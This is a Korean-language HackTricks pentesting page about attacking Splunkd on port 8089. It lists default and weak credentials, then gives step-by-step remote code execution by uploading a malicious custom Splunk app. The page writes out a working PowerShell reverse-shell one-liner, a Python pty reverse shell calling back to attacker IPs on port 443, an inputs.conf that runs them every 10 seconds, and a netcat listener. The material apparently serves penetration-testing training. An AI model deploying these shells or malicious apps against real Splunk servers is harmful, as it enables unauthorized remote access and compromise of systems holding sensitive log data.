hacktricks/network-services-pentesting/8089-splunkd.md
2024-02-10 21:30:13 +00:00

139 lines
9 KiB
Markdown

# 8089 - Splunkd의 Pentesting
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details>
## **기본 정보**
Splunk는 **로그 분석 도구**로서 **데이터 수집, 분석 및 시각화**에 중요한 역할을 합니다. 초기 목적은 **SIEM (보안 정보 및 이벤트 관리)** 도구로 사용되지 않았지만, **보안 모니터링****비즈니스 분석** 영역에서 인기를 얻고 있습니다.
Splunk 배포는 자주 **민감한 데이터**를 저장하며, 시스템을 침해하는 경우 잠재적인 공격자에게 **가치 있는 정보원**으로 작용할 수 있습니다.
**기본 포트:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunk 웹 서버는 기본적으로 8000번 포트에서 실행됩니다**.
{% endhint %}
## 열거
### 무료 버전
Splunk Enterprise 평가판은 **60일 후에 무료 버전**으로 전환되며, **인증이 필요하지 않습니다**. 시스템 관리자가 Splunk 평가판을 설치하여 테스트하는 것은 흔한 일이지만, 이후 잊혀지는 경우가 많습니다. 이로 인해 인증이 필요하지 않은 무료 버전으로 자동 전환되며, 환경에 보안 취약점이 도입됩니다. 일부 조직은 예산 제약으로 인해 무료 버전을 선택할 수 있지만, 사용자/역할 관리가 없는 상태의 의미를 충분히 이해하지 못할 수 있습니다.
### 기본 자격 증명
이전 버전의 Splunk에서는 기본 자격 증명이 **`admin:changeme`**으로 설정되어 있으며, 이는 로그인 페이지에서 편리하게 표시됩니다.\
그러나 **최신 버전의 Splunk**은 **설치 과정에서 자격 증명을 설정**합니다. 기본 자격 증명이 작동하지 않는 경우, `admin`, `Welcome`, `Welcome1`, `Password123` 등과 같은 일반적인 약한 암호를 확인하는 것이 좋습니다.
### 정보 획득
Splunk에 로그인한 후에는 데이터를 **탐색**, **보고서 실행**, **대시보드 생성**, Splunkbase 라이브러리에서 **응용 프로그램 설치**, 사용자 정의 응용 프로그램 설치 등을 할 수 있습니다.\
또한 Splunk는 서버 측 Django 응용 프로그램, REST 엔드포인트, 스크립트 입력 및 경고 스크립트와 같은 여러 방법으로 **코드를 실행**할 수 있습니다. Splunk 서버에서 원격 코드 실행을 얻는 일반적인 방법은 스크립트 입력을 사용하는 것입니다.
또한, Splunk는 Windows 또는 Linux 호스트에 설치할 수 있으므로, Bash, PowerShell 또는 Batch 스크립트를 실행하는 스크립트 입력을 생성할 수 있습니다.
### Shodan
* `Splunk 빌드`
## RCE
### 사용자 정의 응용 프로그램 생성
사용자 정의 응용 프로그램은 **Python, Batch, Bash 또는 PowerShell 스크립트**를 실행할 수 있습니다.\
**Splunk에는 Python이 설치되어 있으므로**, **Windows** 시스템에서도 Python 코드를 실행할 수 있습니다.
[**이**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk 패키지를 사용하여 도움을 받을 수 있습니다. 이 저장소의 **`bin`** 디렉토리에는 [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) 및 [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)에 대한 예제가 있습니다. 이를 단계별로 진행해 보겠습니다.
이를 위해 먼저 다음 디렉토리 구조를 사용하여 사용자 정의 Splunk 응용 프로그램을 생성해야 합니다:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`** 디렉토리에는 실행할 **스크립트** (이 경우에는 **PowerShell** 역쉘이 될 것)가 포함될 것입니다. 그리고 기본 디렉토리에는 `inputs.conf` 파일이 있을 것입니다. 우리의 역쉘은 **PowerShell 원라이너**로 작성될 것입니다:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) 파일은 Splunk에게 **어떤 스크립트를 실행할지**와 다른 조건을 알려줍니다. 여기에서는 앱을 활성화하고 Splunk에게 10초마다 스크립트를 실행하도록 지시합니다. 간격은 항상 초 단위로 설정되며, 이 설정이 있을 때만 입력(스크립트)이 실행됩니다.
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
우리는 애플리케이션이 배포될 때 실행되고 PowerShell 원라이너를 실행할 `.bat` 파일이 필요합니다.
다음 단계는 `파일에서 앱 설치`를 선택하고 애플리케이션을 업로드하는 것입니다.
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
악성 커스텀 앱을 업로드하기 전에 Netcat 또는 [socat](https://linux.die.net/man/1/socat)을 사용하여 리스너를 시작합시다.
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
`Upload app` 페이지에서 `찾아보기`를 클릭하고, 이전에 생성한 tarball을 선택한 후 `업로드`를 클릭합니다. 애플리케이션을 업로드하는 즉시, 애플리케이션의 상태가 자동으로 `활성화`로 전환되며, **역쉘이 수신**됩니다.
#### Linux
만약 **Linux 호스트**와 작업 중이라면, 악성 앱을 생성하고 업로드하기 전에 `rev.py` Python 스크립트를 **편집해야 합니다**. 나머지 과정은 동일하며, Netcat 리스너에서 역쉘 연결을 받아들일 수 있게 됩니다.
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
다음 페이지에서는이 서비스가 어떻게 남들보다 더 높은 권한을 얻고 지속성을 확보하기 위해 악용될 수 있는지에 대한 설명을 찾을 수 있습니다:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## 참고 자료
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에서 광고를 보고 싶거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 자신의 해킹 기법을 공유하세요.
</details>